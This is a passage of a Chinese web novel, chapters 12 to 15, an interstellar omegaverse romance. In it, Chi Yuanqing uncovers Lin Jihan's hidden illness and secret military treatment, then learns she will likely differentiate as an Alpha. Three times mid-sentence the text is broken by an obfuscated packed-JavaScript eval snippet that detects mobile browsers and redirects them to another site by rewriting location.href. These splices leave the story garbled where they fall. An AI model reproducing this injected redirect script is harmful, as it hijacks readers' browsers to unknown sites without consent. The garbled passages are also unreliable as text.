池远青笑了笑,靠在沙发上,对慎玉山说,“确实很精彩。” 12. 第 12 章 “星网上很多都是小孩子,顶着大人的id,自以为不会被发现,所以口气很大,”慎玉山看着觉得挺有趣的,但是不确定池远青是不是也这么觉得,“都是开玩笑的。” “我明白,就是觉得挺有意思的。”池远青也不在意这个,别人说什么做什么,那都是别人的事情,跟她有什么关系? 就算她和林寂寒明面上挂着一层未婚夫妻的关系,但也只不过是个名头而已,现在除了林家父母和他们两个当事人,根本没有人知道所谓的婚约,林寂寒只是可怜她,更不可能到处宣传。 换句话说,只要他们不承认,这个婚约就是不存在的。 所以只是星网上喊两句话不算什么,就是真的线下追求,池远青也只会站在旁边加油鼓气。 她是真心这么想,但是落在慎玉山的眼睛里就有些可怜了。 林寂寒年纪轻轻如此优秀,往后也只会更加惹人注目,可想而知,池远青以后的日子绝不会风平浪静。 他轻轻叹了口气,脸上带了愁容。 丝毫不知道慎玉山在胡思乱想什么的池远青拎起沙发上的瑟诺斯,“表演赛结束了,我们就先走了。” “不等等寂寒吗?”慎玉山惊讶。 池远青摇摇头,“我们今天晚上还有一堂临时增加的插花课,不能迟到。” 这她还真不是凭空捏造,事实上,这条消息早在半个月前就已经躺在了她的终端之中。 “那好吧,”慎玉山有些遗憾,“那你记得给他留个言,让他知道你来过。” “再说。” 离开房间,瑟诺斯悄悄问池远青,“慎叔说话怎么奇奇怪怪的,好像你和林寂寒不是朋友,像是,”他犹豫了下,“像情侣似的。” “你该不会真的背着我谈恋爱了吧?”瑟诺斯的脸都要伸到池远青的面前了,想要观察下她的表情。 他翻过父亲的书,说谎的人脸上的微表情和正常人是不一样的。 但是很可惜,他从来没有猜对过。 “没有。”池远青斩钉截铁地回答。 瑟诺斯在相信她和质疑她之间摇摆了下,最终还是慢慢倒向了相信她。 “那我可就信了,我们现在年纪还太小,不着急谈恋爱。” “好了,”池远青找到瑟诺斯的车,将他囫囵个塞进里面,再把自己塞进去,“大少爷,少说两句,我们快要迟到了。” “什么?”瑟诺斯看了眼时间发现果然要迟到了,他叫了声也来不及探听这个那个的,赶紧拍着椅背让司机赶快飞车,他要用最快的速度赶回艾德利斯学院。 池远青笑了下,闭上眼睛靠在柔软的座椅上。 当视野消失之时,她的脑海里浮现出穿着作战服的林寂寒的身影。 怎么说呢,这样的林寂寒太漂亮了,是那种让她想要站在他身边的漂亮。 不过这个念头只停留了一秒钟就消失不见了。 她一个预备omega想那么多干什么? 带着连池远青自己都没有注意到的茫然,她进入了梦乡。 * “插花,最重要的是什么?” 穿着紧身长裙的雍容omega——纳娅老师站在讲台上,时不时地拉一下身上昂贵的披肩,她点了点瑟诺斯,“瑟诺斯,你来回答。” 瑟诺斯站起来,“要有耐心,以及欣赏和发现美丽的双眼。” 纳娅笑了笑,对于瑟诺斯的回答不做评价,“爱诺呢?” 从双方在这堂课上相遇开始,爱诺就始终用一种在震撼、惊愕、茫然、想不通、鄙夷之间来回切换的复杂表情盯着池远青。 纳娅不太想要叫她的名字,但是她需要这个学生回神,不然会让她觉得这堂课很失败。 爱诺突然被叫到名字,愣了一下才回过神来,“纳娅老师。” 纳娅的脸色沉了下来,她的家世背景也不差,虽然不想得罪人,但也不需要当做什么都没有发生过。 “爱诺同学,请你先重复一遍我的问题。”纳娅又给了她一次机会。 池远青终于被吸引了一点注意力,她回头看向爱诺的位置,和对方的视线在空中相遇。 “……”她到底为什么总是抓着她不放呢? 池远青皱了皱眉头,小声问瑟诺斯,“如果一个人时时刻刻都在注视你、观察你,那会是什么原因?” “暗恋你。” “如果这个人是爱诺呢?” “……那就是纯贱。” 池远青弯了弯唇角,这点微小的情绪波动落在爱诺的眼睛里简直就是在嘲笑她。 爱诺涨红了脸,没再像以前那样恶言相向,而是咬了咬嘴唇先向纳娅老师道歉,然后又说,“这个问题我确实有些不懂,但是池远青同学一定是知道的吧。” 池远青重新看了回去,然而纳娅老师并没有理会爱诺的话,反而是决定扣除对方的学分以此作为惩戒。 回到讲台上,纳娅继续讲解插花的内容,课堂的最后,她让每位同学完成一份插花任务,然后在第二天同一时间来这里上交作品,她会亲自点评并给出结课分数。 课程结束之后,池远青主动联系了司机,让对方过来接自己一趟。 瑟诺斯也因为今天的事情被家里叫走了,走之前他对池远青说自己绝对不会向父母妥协。 池远青觉得他有时天真得有趣,于是对他说,“你可以把所有的责任都推在我的身上,也许你的母亲就没有那么生气了。” “我怎么可能做这样的事!”瑟诺斯立刻否决了这个提议,“我是绝对不会伤害我亲爱的朋友的。” 然后他就像霜打的茄子似地被家里的司机给接走了。 对方的母亲应该不会容忍自己太久了,就是不知道什么时候爆发。 司机很快就到了门口,回去的路上池远青询问林寂寒的去向。 “少爷已经回去了,”司机回答,“还交代我说,池小姐很可能也要回家,让我提前往这边走。” “那我要是没打算回去呢?” 司机也是个可爱的大哥,“那我就悄悄回去,当作没有来过。” 到了林寂寒的别墅门口,还没下车就见到管家在门口团团转,看到她的时候脚步一顿,然后就小跑了过来。 “池小姐,”管家替她拉开车门,然后快速地将现状告诉她,“大概半小时前少爷到家,他看起来状态非常不好,一进家门就差点摔倒在地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470508|201453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,起来之后就独自上了楼,并且强硬要求我在楼下等待。” 他没来得及表述得更细致些,比如林寂寒苍白的脸色,比如林寂寒一只手紧紧地盖住自己的腺体。 以前从来没有发生这种情况,一向镇定的管家也不免有些手足无措,但也很快恢复了冷静。 池远青想要上楼,却被管家拦住,“我已经联系了医生,对方大概三分钟之后到达。” “我去看看他。”池远青说。 管家却摇了摇头,“少爷说,如果您回来了那就待在一楼。没有他的允许,您不能上楼。” 因为前面挡着人,池远青不得不停下了自己的脚步,“他说不许我上楼?” “是的。” 池远青莫名笑了下,“这是他第几次说这种话了?” 管家愣了下,立刻明白了池远青的意思。 此前林寂寒禁止池远青靠近,管家一直当做两个孩子之间的玩闹,毕竟这两位一直都是这样吵吵闹闹的,但是这一次非同寻常的情况,林寂寒又下达了同样的命令。 管家的表情变得犹豫起来,两秒钟后,他选择让开面前的路,“希望少爷不会为我的自作主张而发火。” “放心吧管家叔叔,”池远青还有心情跟他开玩笑,“要是林寂寒生气了开除了你,我就雇你给我当管家。” 再次站在林寂寒的房间面前,还没进去池远青就已经察觉到了不对劲。 空气之中像是有什么东西正在涌动,哪怕隔着一道厚厚的门板,也争先恐后地从门缝挤出来,想要靠近她。 池远青扯了扯自己的衣领,觉得有些喘不上气来,总觉得哪里不舒服,但又说不上来。 如果她的生理卫生课按时去上的话,那么她就会发现这种反应意味着她在承受来自于另一人的信息素的冲击波动,但是很可惜,这种课程在她看来跟插花一样,既没意思,也不中用。 她试探性地敲了敲门,里面果然没有任何回应。 不知道是不是林寂寒上来的太急了,他的房门都没有像平时那样反锁,反而一拧门把手就打开了。 偌大的卧室空空荡荡的,只能从凌乱的床上看出这里曾经有人存在的痕迹,池远青惊愕地翻遍了他的屋子,也没有发现林寂寒的踪迹。 管家是看着林寂寒上来的,总不可能他预料到了池远青会找上来,然后跳窗逃跑了吧? 池远青敲了下自己的脑袋,让自己跳脱的思维暂时回归正常,但是没有人就是没有人,她就是把床盯出花来,也不可能大变活人。 然而就在池远青准备离开的时候,她的视线被书架上的花瓶吸引住了。 她说过,别墅的客厅里从来没有放过花瓶,那是因为林寂寒小的时候曾经得过一段时间的花粉过敏,任何能够绽放的花朵对他来说都是引发他剧烈咳嗽的诱发因素。 后来即便是林寂寒的过敏症消失,但是家里也依旧保留了没有花的习惯。 但是现在林寂寒的书架上有一只花瓶,里面居然还插了一枝鲜花。 池远青朝着花瓶靠近,伸出手—— 一阵透明波动过后,光屏出现。 【治疗仓已充能完毕,是否选择进入?】 13. 第 13 章 治疗仓这种东西作为当今世界最便利的治疗仪器,普遍存在于人们的家中,更别提像林寂寒这样的人家,家里有几台治疗仓都是正常的。 但眼前的这台治疗仓池远青从未见过,更重要的是它被林寂寒用这种掩人耳目的方式藏了起来,她就是想要当做是正常的都很难。 虽然池远青很想要进去看看,但是这台治疗仓用严密的扫描程序,只对林寂寒个人开放,所以她不得不选择放弃。 “池小姐,”管家不知道什么时候出现在了门口,“夫人过来了,还带着治疗团队一起。” 话音落下的时候,阿西娜就已经站在了二楼的走廊里,她望着站在门口的池远青,焦急地问:“林寂寒呢?” “我不知道,”池远青顿了顿,“他不在这里。” 阿西娜的脸色扭曲了一瞬,骂了句脏话,她打了一则通讯过去,听语气应该是林寂寒的父亲,要求他立刻派人在全城范围内搜索林寂寒的踪迹。 毕业典礼今天才刚刚结束,如果这个时候被人知道林寂寒的身体状况,那么一定会引起很大波澜。 急躁让阿西娜没有心思跟池远青计较,她转身就要下楼。 “夫人。”池远青叫住她,她扫了眼阿西娜身后的医疗团队,这些显然不是短时间内组建起来的临时团队,而是具有丰富经验的长期工作的团队。 “我想知道林寂寒生了什么病?” “他没有病,请注意你的言辞。”阿西娜眼里的冷意宛如冰霜,“你知道有多少人在关注着他、关注着我们吗,不要让我再听到类似不负责任的言论。” “但是这里只有我们不是吗?”池远青半点不怕她。 虽然她面对阿西娜的时候确实有些心虚,但并非来自于阿西娜本身,而是因为林寂寒的关照与帮助。 阿西娜看着她,很轻却很轻蔑地笑了声,“我从不相信任何人拥有的所谓的美好的品德,你难道让我相信你一个陌生人不会出去乱说、毁坏我们的声誉吗?那是不可能的,对我来说,你的品德就像你的人生一样,到处都是漏洞。” “我再说一次,我的儿子林寂寒没有病。” “如果让我听到一点不好的传言,我会让你彻底消失在这里。” 林寂寒不在,阿西娜也不会在这里久留,有他们的搜寻,找到林寂寒只是时间问题而已。 * “池小姐,”管家给她倒了杯热牛奶,“您已经一夜没有合眼了,休息一吧,少爷肯定也不希望看到你这样。” 池远青在沙发上坐了一夜,眼睛熬得通红,她恹恹地接过管家手里的杯子一饮而尽,“那他倒是早点出现啊。奇怪了,城区就这么大,他能跑到哪里去?” 管家也跟着叹了口气,“是啊。少爷小时候最擅长捉迷藏了,后来被先生吊起来打,我以为他改了,没想到现在还是这样。” “……”现在讲这些有些过于地狱了。 池远青的睫毛垂下,眼底埋上一层阴影。 然而谁都没有想到,十分钟之后他们便在星网上看到了林寂寒即将进入特遣军的消息,照片之中的他刚刚从军部中心离开。 池远青将那张照片放大又缩小,确认没有任何修饰过的痕迹,这就是林寂寒本人。 管家也觉得没有问题,“所以,少爷已经没事了?” “如果没事,那他现在就应该出现在我的面前嘲讽我,而不是这么安静。” 池远青最终只能联系了她最不想联系的那个人,林寂寒的父亲林绍将军的副官安德森。 她申请的视讯,只不过对方并没有通过,于是变成了简单的通讯。 “早上好,安德森先生,”池远青简单问候,“我想要知道林寂寒的现状。” 安德森的声音听起来很温和,“他很好,在准备集训。” “我联系不到他。” “你不需要联系他,”安德森没有废话,“你的问题已经得到了回答,还有其他疑问吗?” 知道从安德森那里问不到其他的消息,池远青沉默两秒,“麻烦帮我带句话,家里的草莓蛋糕没有了。” 挂断通讯之后,安德森有些轻蔑地想,十几岁的少年人也就这点想法,还什么草莓蛋糕的。 安德森敲响走廊尽头的办公室,略有些浑浊的声音从里面响起,“进。” 安德森打开门进去,站在门口敬了个礼,“将军。” 正对着大门的办公桌后,高大强壮的Alpha坐在椅子上,战场上的磨砺让他身上带着驱之不去的沉重的肃杀之气,眉眼也常年阴翳,这些年来更是如此。 安德森将刚才的事情说了一遍。 林绍点点头,发出了和安德森一样的感叹,“还是个孩子,奔得可爱。” 他的语气听不出半分的怜爱,反倒是带着轻蔑。 “那边怎么样了?” 提到这个,安德森的表情变了变,“医疗团队通知的情况看来并不稳定,由于临近分化,他身体内的信息素发生紊乱,即便常年注射转换剂,但是腺体排斥依旧剧烈。” 对于这个结果林绍早有预料,他的目光沉了沉,“还有可能吗?” “有,”只不过概率比较低,但是这话安德森不能说,也不敢说,他只能挑听起来不错的消息进行传达,“这段时间要格外注意身体监测,李教授说高爆发期在三个月之后,只要熬过分化期,就能成功。但是要受些罪。” “这算什么受罪。”林绍从椅子上站起来。 他已经不像当年那样的挺拔与健壮了,多年征战给他的身体造成了不可逆的伤害。 没人会知道这幅躯体到底有多少丑陋的、可怖的伤痕,跟这些相比,林寂寒遭受的算得了什么? 他会感谢他的,他也该感谢他。 安德森低着头站在一边,“听医生说,他一直在叫爸爸妈妈,将军要不要去看看他?” 林绍的办公室里没有一丝自然光线可以照入,没有开启照明的时候,这里就显得无比阴暗。 安德森感觉到对方的注视,顿时毛骨悚然。 “你知道每天有多少事情在等着我处理吗?”林绍的声音冷酷到听不出一丝情感,“一旦出了差错,谁可以承担?” 安德森立即低头道歉。 “出去。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470509|201453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“是,将军。” 从办公室出来,安德森缓缓吐出一口气。 近些年来,林绍将军的脾气越来越差,虽然在媒体面前仍旧能够保持得体,但是私下里却越发暴躁,今天没有受到波及已经算是他运气好了。 安德森思索了下,驱车前往了军区医院。 这里是整个帝国保密等级最高的医院,没人知道意气风发的将军之子现在就被关在其中一间病房内。 安德森看着监控下蜷缩在墙角的林寂寒,“今天下午怎么样?” “一直在昏睡。”李教授推了推鼻梁上的眼镜,“状况不是很好,将军还是……” 安德森点点头。 李教授也没有多说什么,他只是负责自己的工作而已,分不出工作以外的多余的感情。 他对一旁的助手说:“加大空气弥散药剂的剂量。” 助手操作几下,病房内,天花板的位置落下几根金属管,随即大量的药雾散出。 几乎是立刻的,蜷缩在角落里的青年抱紧了自己。 安德森移开视线,“继续观察,保持稳定后就送他离开。” 李教授不解,“他现在的情况最好能够一直待在医院。” “不可能的,毕业典礼过后,林寂寒已经正式进入公众视野,在进入军队前他不能消失太长时间,”安德森平静地解释,“所以,务必保持他的清醒,少用麻醉。” “不用麻醉会有些痛苦,那好吧。”李教授抬起手摁了摁钮,关掉了摄像头。 * “爱诺,合格。” “于禾,合格。” “瑟诺斯,合格。” “池远青,”纳娅老师的声音顿了顿,看着面前一团糟的插花,“你的审美实在是……很难理解。” 池远青低下头,“抱歉老师。” 她也完全没有想到自己精心选择的几种花搭配起来会有如此惊人的效果。 纳娅叹了口气,“这已经是你的第三个作品了,这样的话,我很难让你通过。” 始终关注着这边的爱诺插话,“纳娅老师,她学习了一个月还是这样,我看她就没合格的本事。” 从一个月前的军校毕业典礼结束之后,她就拜托自己的父亲调查池远青的社会关系。 然而池远青的社会关系可以用一片空白来形容,根本没有什么可关注的。 “无论她到底是什么身份,和什么人有联系,”她的父亲警告她,“离她远一点。” 他清楚地知道自己的孩子在想些什么,因此他能够做的就是警告她远离不确定因素。 然而爱诺却很不服气,即便明知道对方有鬼,她也决心不会让池远青过得太舒心。 纳娅老师这回没有反对,只是摇了摇头表示遗憾,毕竟池远青的作品实在是太差了。 池远青有些沮丧,“好的,谢谢老师。” 她的视线游移了下,注意到自己的终端收到了一张照片。 她打开之后,发现是一个摆在桌面上的红色的草莓蛋糕,旁边还有一只不小心入镜的骨节分明的手。 林寂寒回来了。她想。 14. 第 14 章 放下终端,池远青对上了爱诺的视线。 从再次在艾德利斯学院见面之后,她就总是用这种莫名其妙的目光盯着她看。 池远青并不怎么在意别人的眼光,但也不代表她喜欢别人盯着。 她勾了下嘴角,对面爱诺的表情立刻变得一言难尽,她说,“我不喜欢女性omega。” “……你说什么?”爱诺简直怀疑自己的耳朵出了问题。 刚刚收拾好东西的瑟诺斯也听到了这句话,一脸茫然地看向池远青。 池远青耸了下肩,“我的意思是希望能保持正常社交距离。” 爱诺立刻退后两步,砰的一声撞在了身后的桌子上,一张白皙的脸顿时变得通红。 还没走的同学们陆陆续续地看了过来——谁都知道他们之间不对付,每次出现必然会有一番争吵。 然而这一次爱诺却连吵都没有吵,红色的脸颊像是主人羞愤至极的难堪表现,紧接着她就直接拎着自己的包跑了出去。 “池远青……”瑟诺斯还没有反应过来,“你刚刚说了什么,我是不是听错了?” “吓唬她的,”池远青没什么所谓,还开起了玩笑,“人真不要脸的时候,别人就会感觉到恐惧了。” 瑟诺斯噎了下,观察了下池远青的表情,见她没什么特别的表现忍不住笑了两声,“你今天晚上回寝室吗?” “我有事要回一趟家。” “那太好了,我也想回家,”瑟诺斯像是不经意间地询问,“你住在哪里啊,我看看顺不顺路,顺路的话我让司机送你回去。” “不顺路,”池远青对他笑了笑,“而且接我的叔叔已经到了。” 她晃了晃自己的终端,“明天见。” 看着池远青远去的身影,瑟诺斯意识到她的心情非常好,而且是突然变好的。 这一个月以来,虽然池远青没有表现出任何异样,但是瑟诺斯就是觉得不对劲,直到今天晚上—— 所以是有什么值得开心的事情吗? 司机将车停在了距离艾德利斯学院有一段距离的路口。 池远青拉开车门,弯下腰正打算进去的时候,却率先看到了一双西裤包裹的交叠大长腿。 她进去的动作顿了顿,视线顺着长腿往上,皮带勒紧的腰,同色系衬衣,随手解开的顶端两颗扣子,瘦削漂亮的锁骨,最后就是那张笑吟吟的精致的俊脸。 林寂寒一只手撑着自己的脸,视线似笑非笑的落在池远青的脸上,“怎么了,一个月不见,把我忘干净了?” 池远青上车、坐好、关门一气呵成,然后才问了句,“很少见你穿得这么骚包,我还以为你给我点了个男模呢。” “我给你点男模干什么,祝贺你有一门功课挂科吗?” “……你都知道了?” 林寂寒打开终端,调出一长串池远青的课程信息和成绩,一大片的标红简直像是误入轰炸区,“你是不是不想毕业了?” 他把终端举到了池远青的面前,很费解,“难道除了我,所有人都知道你的智商其实有问题?” 池远青面无表情地拉下他的手,“别逼我在这里大义灭亲。” “你还是回去好好补习一下文化知识吧。”林寂寒毫不留情地嘲讽她。 池远青的嘴角抽动,心底里的那一点欢喜已经完全消失殆尽,只剩下思考如何弄死对方的本能反应。 不过林寂寒也没有说太多,当然很大一部分的原因是池远青这个人不吃软也不吃硬,就是个倔驴,都快要跨物种了,跟她掰扯这些东西没有用。 * “上次非要念叨什么草莓蛋糕,这种东西到底有什么好吃的?”林寂寒把拎着的外套扔在沙发上。 池远青已经坐到了餐桌面前,管家将切好的草莓蛋糕放在她的面前,又递给她一把叉子。 林寂寒在她对面拉开椅子,把手搭在一边的椅子上,“他怎么和你说的?” 一口草莓蛋糕入口即化,怎么能说不好吃呢? “集训。” “呵,”林寂寒忍不住笑了下,他点了点池远青,“你就不能当作不知道吗?你知不知道,会给自己惹来多大的麻烦?” 林寂寒被林绍和阿西娜视为最满意的、最有前途的接班人,他的未来,必然会在二者的共同努力之下青云直上。 如果林寂寒没有弱点还好,但是他有。 池远青看了眼林寂寒,“那你应该藏得好好的,不被我发现。说起来这是个勒索他们的好机会。” 一想到自己错过了什么,池远青顿时觉得面前的草莓蛋糕都不香了,“那我能买多少草莓蛋糕啊?!” “有钱买也得有命吃,”林寂寒警告她,“不然以后草莓蛋糕就只能我一个人吃了。” 池远青并不意外林寂寒不打算告诉她真实情况,当然,如林寂寒所说,她最好什么都不知道。 林寂寒拿起叉子直接叉走了接近三分之一的蛋糕,一口下去所剩无几。 池远青无语,“不是给我的吗?” “我花钱买的吃两口怎么了?”林寂寒挑衅她,“确实好吃。” 池远青忍了又忍,新仇加旧恨,她一下扑过去,双手掐着林寂寒的脸前后摇晃,“再好吃你也得给吐出来!” 林寂寒的脸红了起来,抓住池远青的两只手腕,“我都咽下去了还吐出来,我吐出来你吃?” 真是奇了怪了,这个世界上怎么会有池远青这样的omega,哦,严谨一点,预备omega!简直没有一点该有的样子! 池远青气得眼睛都红了,“我不管!总之你要给我吐出来!” 管家选择性失明,把桌子上还未遭殃的蛋糕端进了厨房,想了想现在还不是出去的时候,他问厨师,“你相信爱情吗?” 厨师:“……管家。” 管家知道这个问题对一个单身的人来说是强人所难了,但是他需要做点什么打发时间。 厨师两行清泪落下,“兄弟,不要碰爱情。” “……” 一墙之隔,林寂寒已经从椅子上跌落在了地上,池远青就骑在他的身上,一张脸因为情绪激动而泛红。 她的力气并不比林寂寒小多少,因此这场争斗完全变成了两个小孩子一样的打斗。 每当林寂寒想要放一点水的时候,就被池远青一拳揍得眼冒金星,然后那点该死的风度也被他抛之脑后。 “呼……呼……”池远青推开林寂寒,躺倒在地毯上大口大口地喘着气。 另一边的林寂寒也没比她好多少,反而因为下手有顾忌变得更惨烈,衬衣的领口被扯开了,脖子上这一块那一块的红痕,凌虐现场一般惹人想入非非。 “消气了吧?”林寂寒叹了口气。 他知道池远青必然会因为他的隐瞒而发怒,但对方迟迟没有表示,林寂寒最终只能主动挑衅。 他莫名地笑了下,想起来慎玉山曾经问过他到底对池远青有没有感情。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470510|201453||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他现在依旧不知道这个问题的答案,但是他想,如果换做其他任何一个人,恐怕他早就甩脸离开了。 除了池远青,没人能让他这么做。 “不说话?不会吧,还没消气啊?” 身侧的呼吸声没有平缓下来,反而越来越急促,空气之中似乎还有一阵青桔的味道弥漫开来。 林寂寒眉心一蹙,他坐起来,将背对着自己蜷缩在一起的池远青转过来。 她的脸依旧很红,林寂寒伸出手贴在她的颈侧,温度高得有些烫手。 然而池远青双眼紧闭,显然已经失去了意识。 “管家!”林寂寒大叫着,一边将池远青从地上抱了起来,“叫医生!” 听到叫声的管家立刻推门出来,他惊讶之余迅速地联系了医生。 灼热,沉痛,池远青一只手扣在自己腺体的位置上,她下意识地想要去抠那块皮肤,却被一只冰凉的手给攥住了。 池远青睁开朦胧的双眼,“……林寂寒。” 林寂寒一只手控制着她的手,另一只手摁住了她的肩膀,“嗯。干嘛?” “……你好香。”池远青也不知道怎么的就说出来了这么一句话。 林寂寒抬起薄削的眼皮,审视着池远青,“你是不是在对我耍流氓?” “……”离家出走的理智渐渐回归,池远青眨眨眼睛,看着撑在自己身上控制自己的林寂寒,而身后大床柔软,还散发着洗涤剂的芬芳。 “不对劲吧,”池远青的声音有些虚弱,“是不是你在对我耍流氓?” 林寂寒看了她两秒,然后松开了手,“你情况不对。” 池远青坐了起来,虽然身体的症状消失了,但是头疼没有消失,她摁住自己的额角,“为什么?” “正常分化之前虽然会有些不舒服,但应该不会这么剧烈。你最近有没其他不对劲的地方?” 池远青本来想要说没有,但是想到了什么又沉默了。 大概是从一个月前,也就是林寂寒消失之后,池远青的腺体开始出现间歇性的胀痛,并且她的情绪也开始变得暴躁易怒。 为了压制这些不同寻常的情绪,池远青会在晚上蹲在阳台熬夜,熬到天亮之后,第二天身体的疲惫会让她的情绪变得萎靡。 池远青简单叙说,“不都是这样的吗?” 林寂寒有些惆怅,“不知道。” 因为身体原因,他的分化期滞后,他知道自己是不正常的,也不太知道正常的是什么样子的。 “再去做个身体检查吧。”林寂寒决定,“我给你安排,所有的,都查清楚。” 池远青没拒绝,“你也一起?” 林寂寒果断拒绝了她。 他的动作很快,隔一天之后,池远青就被带到了一家顶级私人医院进行身体检查。 只不过接待的负责人是慎玉山。 池远青看了眼林寂寒,后者解释,“慎玉山家的医疗资源在整个帝国都是首屈一指的。” 正好慎玉山也早就想给她做个全身检查了。 池远青很客气,“谢谢谢谢。” 慎玉山愣了两秒,才慢吞吞回答,“……好不习惯。” “……” 慎玉山对于这次身体检查的期待就是完整、全面、精细,最好检查不出什么大问题来,然后针对性地做个营养补充计划,把人养好。 然而池远青的检查结果给了所有人一个大惊喜。 不,是惊吓。 15. 第 15 章 慎玉山把池远青和林寂寒两个人都叫到了自己的办公室里面,关好门窗,然后在两人对面坐了下来。 慎玉山双手交握放在桌面上,表情有些复杂,“检查的结果已经出来了,只不过和我们最开始的设想有些出入,我不确定你们是否能够接受。” 他的表情变得欲言又止,尤其是当目光落在林寂寒身上的时候,还带着点奇怪的怜悯与怅然。 “你搞什么,”林寂寒把手边的苹果扔了过去,不耐烦地催促他,“有什么话就直说,吞吞吐吐的。” 话音落下的时候,他将右手藏在了桌子底下,有些紧张地扣住了自己的膝盖。 慎玉山不会无缘无故地这么说,那么很可能池远青的检查结果不容乐观。 到底是怎么回事?难道真的病了? 林寂寒的脑子里千转百回,短短几分钟已经设想了无数种可能,最终他打定主意,不管是池远青生了什么样的病,他都会用尽一切办法把她治好。 反正池远青本来就欠他的,也不差这一点半点的了。 意识到自己的话有些歧义,慎玉山又立刻说,“我不是那个意思,你们别多想,主要是……有点出乎意料。” “……”然后又是一阵令人窒息的沉默。 林寂寒忍无可忍地想要站起来给他的朋友一个亲切的拳头问候,不然对方好像总也学不会说人话。 池远青想也没想地伸手拦住林寂寒,“你别这样对慎医生。” 慎医生?林寂寒扭头看向池远青,嘴角抿直,气得不知道该说什么。 以前还左看不上、右看不上的,现在检查一通之后直接就变成尊贵的“慎医生”了。 池远青没有心思考虑这些,她早就对自己的变化有些预感,甚至还偷偷去做过检查,因此也不能说是毫无准备。 “慎医生,”她特地换了一个正式的称呼,“有什么问题你直接说就可以了。” 慎玉山的表情一言难尽,看了眼即将暴怒的兄弟,叹了口气一鼓作气地说,“根据你的身体调查数据,你的分化期会在近三个月内,但是腺体内的x数值偏低,也就是你之前检查过的那项,并且已经呈现出稳定下降的趋势,那么根据你分化期时期的数值最低点来估计,你有百分之九十九的概率分化为Alpha。” 办公室内再次陷入一片沉寂当中。 池远青和林寂寒的表情都没有太大的变化,两个人就像是聋了似地用一种“你在说什么”的目光盯着他。 慎玉山清了清嗓子,放缓自己的声音,拿出对待患者的温柔与耐心来,“我知道这个消息可能有些难以接受,毕竟每个人出生的时候都会进行分化检测,如无意外,这个结果的正确率是百分之九十九,但是……好吧,概率这种事情确实没有办法完全说死,现成的例子就摆在我们的面前。” 慎玉山将池远青的体检报告放在了她的面前,“先前的检测结果大概是因为你的信息素还不稳定,所以测量结果不太准确。” “寂寒跟我说过你最近这几天的情况,那么现在看来应该是信息素在自行进行调整,所以身体的反应会有些大。” 慎玉山又看了眼林寂寒,对方不知道什么时候已经垂下了眼睛,没什么表情的脸看不出来他到底在想什么。 池远青“哦”了一声,声音拉得有些长,然后就迅速地将这个结果消化了,“……难怪插花和烘焙这两门课我怎么学都学不会。” 慎玉山噎了一会儿,不敢置信地问,“你只想说这个吗?” 他自认为这对一个自小就以为自己会成为omega的人来说是一个不小的打击,毕竟她接受的教育、前途甚至是未来的幸福的前提都是她会成为一个omega。 然而池远青的反应却完全出乎了他的意料。 池远青看向慎玉山,出窍的灵魂逐渐回到了自己的身体之中,她莫名笑了下,“这难道不是一件好事吗?” 池远青踢了脚自己放在桌角的书包,声音里带着兴奋,“这就意味着我不需要再进行这些无聊的课程的学习,我终于可以摆脱挂科留级的命运了!” Alpha在星际社会虽然并不是非常罕见的性别,但是因为身体优势通常会被强制进入军校或者综合院校就读,以便他们在毕业之后能够为帝国做出相应的贡献。 至于omega则更像是温室里的花朵,虽然不乏精神强大、身体素质强的omega,但是受限于身体素质,他们大部分都会在小时候被动选择进入像艾德利斯学院这样的学校就读,在毕业后进入相应的领域工作,或者干脆成为家庭的后勤支撑者。 池远青无意冒犯这一性别的人群,但是事实上他们的人生确实更加受限。 池远青没有说出来,但是作为已经分化的群体之一,慎玉山当然明白她的未尽之意。 更重要的是—— 池远青的脸皱成一团,“你们大概无法理解,这些课程真的非常困难且匪夷所思,原来只是我不适合而已。” 多么合适的、正当的理由。池远青一下子就看开了,觉得自己前途一片光明。 “笨蛋放在哪个领域都是笨蛋,你以为当了Alpha你就是天之骄子了?”沉默许久的林寂寒一开口就是刺。 慎玉山不赞同地看着林寂寒,“你现在……” 林寂寒却突然踢开椅子站了起来,“挺好的,要是能分化成Alpha,应该也不会像以前那样动不动就哭哭啼啼了吧,看着就让人心烦。” “……”池远青的嘴角落下了,“那都是多久以前的事情了,一定要现在翻旧账吗?” 好吧,她以前是有点脆弱的,那不是因为不懂事吗?!谁还没有年少轻狂、爱掉眼泪的时候了?! “说你还用翻旧账?以……”林寂寒对上池远青的视线,“以前”这两个字被他咽回了喉咙里,只不过吞咽艰涩,还有种淡淡的血腥味。 “林寂寒,”慎玉山警告性地叫了他的名字,他顿了顿,“我们单独聊一聊。” 池远青自觉地给两个人让出空间,拎着自己的书包去了办公室外面。 她四下看了看,往另一边的休息区走去。 